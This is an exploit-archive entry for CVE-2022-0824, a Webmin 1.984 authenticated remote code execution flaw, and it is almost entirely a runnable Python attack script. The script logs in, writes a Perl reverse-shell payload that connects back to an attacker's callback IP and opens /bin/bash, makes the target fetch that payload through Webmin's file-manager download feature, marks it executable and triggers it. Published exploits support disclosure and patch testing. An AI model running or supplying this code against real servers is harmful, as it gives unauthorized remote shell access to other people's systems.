Authored by faisalfs10x

Webmin version 1.984 authenticated remote code execution exploit.

advisories | CVE-2022-0824

# Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)
# Date: 2022-03-06
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip
# Version: <= 1.984
# Tested on: Ubuntu 18
# Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell


#!/usr/bin/python3

"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
"""

import requests
import urllib3
import argparse
import os
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TGREEN = '33[32m'
TRED = '33[31m'
TCYAN = '33[36m'
TSHELL = '33[32;1m'
ENDC = '33[m'

class Exploit(object):
def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
self.target = target
self.username = username
self.password = password
self.py3http_server = py3http_server
self.pyhttp_port = pyhttp_port
self.upload_path = upload_path
self.callback_ip = callback_ip
self.callback_port = callback_port
self.fname = fname

#self.proxies = proxies
self.s = requests.Session()


def gen_payload(self):
payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
print(TCYAN + f"n[+] Generating payload to {self.fname} in current directory", ENDC)
f = open(f"{self.fname}", "w")
f.write(payload)
f.close()

def login(self):
login_url = self.target + "/session_login.cgi"
cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }

data = { 'user' : self.username, 'pass' : self.password }
try:
r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
success_message = 'System hostname'
if success_message in r.text:
print(TGREEN + "[+] Login Successful", ENDC)
else:
print(TRED +"[-] Login Failed", ENDC)
exit()

except requests.Timeout as e:
print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
exit()

def pyhttp_server(self):
print(f'[+] Attempt to host http.server on {self.pyhttp_port}n')
os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
print('[+] Sleep 3 second to ensure http server is up!')
time.sleep(3) # Sleep for 3 seconds to ensure http server is up!

def download_remote_url(self):
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": self.target + "/filemin/?xnavigation=1"
}

data = {
'link': "http://" + self.py3http_server + "/" + self.fname,
'username': '',
'password': '',
'path': self.upload_path
}

r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"n[+] Fetching {self.fname} from http.server {self.py3http_server}")

def modify_permission(self):
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }

r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"[+] Modifying permission of {self.fname} to 0755")

def exec_revshell(self):
url = self.target + '/' + self.fname
try:
r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
print(TGREEN + f"n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
print("[+] Shell location: " + url)
else:
print(TRED + f"n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)

def do_cleanup(self):
print(TCYAN + 'n[+] Cleaning up ')
print(f'[+] Killing: http.server on port {self.pyhttp_port}')
os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
exit()

def run(self):
self.gen_payload()
self.login()
self.pyhttp_server()
self.download_remote_url()
self.modify_permission()
self.exec_revshell()
self.do_cleanup()


if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()

target = args.target
username = args.credential.split(':')[0]
password = args.credential.split(':')[1]
py3http_server = args.py3http_server
pyhttp_port = py3http_server.split(':')[1]
callback_ip = args.callback_ip
callback_port = args.callback_port
upload_path = "/usr/share/webmin" # the default installation of Webmin Debian Package, may be in different location if installed using other method.
fname = "revshell.cgi" # CGI script name, you may change to different name

pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
pwn.run()